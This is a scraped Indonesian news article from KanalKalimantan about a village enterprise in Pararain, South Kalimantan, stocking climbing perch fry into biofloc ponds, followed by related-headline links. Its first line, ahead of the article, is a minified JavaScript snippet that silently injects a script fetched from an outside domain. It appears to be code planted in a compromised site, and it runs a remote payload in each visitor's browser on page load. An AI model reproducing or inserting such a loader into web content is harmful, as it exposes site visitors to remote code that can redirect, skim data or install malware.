(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Ribuan ekor benih ikan Betok (Papuyu) ditebar ke dalam kolam biflok oleh Kades Pararain beserta unsur Muspika, Kanit Binmas Polsek Danau Panggang, Ketua BPD dan tokoh masyarakat Desa Pararain, Kecamatan Danau Panggang, Kabupaten Hulu Sungai Utara (HSU), Minggu (5/1) petang.
Hal tersebut dilakukan sebagai bentuk usaha desa melalui budidaya ikan pepuyu dengan teknik bioflok yang dikelola oleh Badan Usaha Milik Desa (Bumdes) Kuningan Jaya. Program ini bermula dari saran dan masukan mahasiswa fakultas perikanan ULM Banjarbaru yang pernah melakukan KKN beberapa tahun silam. Disusul studi ke tempat budidyaa ikan bioflok di Banjarbaru untuk mengetahui proses pengelolaan serta manfaat dari panen ikan biofik.
Dari ketertarikan akan hasil budidaya ikan dalam jumlah yang lumayan dengan bioflok tersebut, membuat aparat desa mewujudkannya dengan melakukan penguatan modal Bumdes dengan menginvestasikan dana desa puluhan juta rupiah.
“Berangkat dari kesadaran kami dan seluruh aparatur desa dan didukung oleh BPD untuk meningkatkan PAD, karena dana desa belum tentu setiap tahun didapat serta semangat untuk mensejahterakan warga desa pararainlah yang menyebabkan kami melakukan inovasi dengan berbudidaya ikan dengan bioflok ini dan bahkan merupakan bumdes pertama yang berbudidaya ikan dengan bioflok” ujar Kades Pararain Abdullah disela kegiatan
Lebih lanjut dikatakannya, setelah nantinya berhasil dengan usaha tersebut, pemerintah desa akan membantu Rumah Tangga Miskin (RTM) yang tercatat di PKH dengan usaha bioflok bumdes dengan 1 kolam untuk 1 RTM nya sehingga masyarakat desa pararain semakin sejahtera.
Sementara itu Yadi, selaku konsultan teknis lulusan fakultas perikanan ULM Banjarbaru sebagai pengusul usaha bioflok mengakui Bumdes Kuningan Jaya merupakan Bumdes pertama yang melakukan budidaya bioflok di HSU. “Selama ini yang ada kebayakan hanya milik orang pribadi di Amuntai,” ujarnya.
Dirinya menyebut bahwa ada tiga keunggulan budidaya ikan dengan teknik bioflok, selain hemat tempat, hemat air dan juga hemat pakan. “Karena tempat yang digunakan dapat dengan luas 2 meter persegi saja, air yang digunakan tidak terlalu banyak serta pakan dengan perbandingan yang lebih sedikit dari budidaya ikan dengan kolam tanah dan ikan yang dihasilkan juga banyak,” beber Yadi.
Dari 12 kolam yang dimiliki Bumdes yang dengan sepuluh kolam berisi 1.500 sampai 2.000 ekor dan dua kolam untuk air cadangan. Diharapkan dapat memanen ikan dalam 9 bulan kedepan sebanyak 8-9 ekor per kilogramnya atau sekitar 8000 kg sekali panen.
“Dengan pangsa pasar yang juga sudah siap Kepal Desa dan seluruh aparatur desa dan BPD yakin, Desa Pararain akan semakin maju dan sejahtera,” pungkasnya.(dew)
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
This website uses cookies.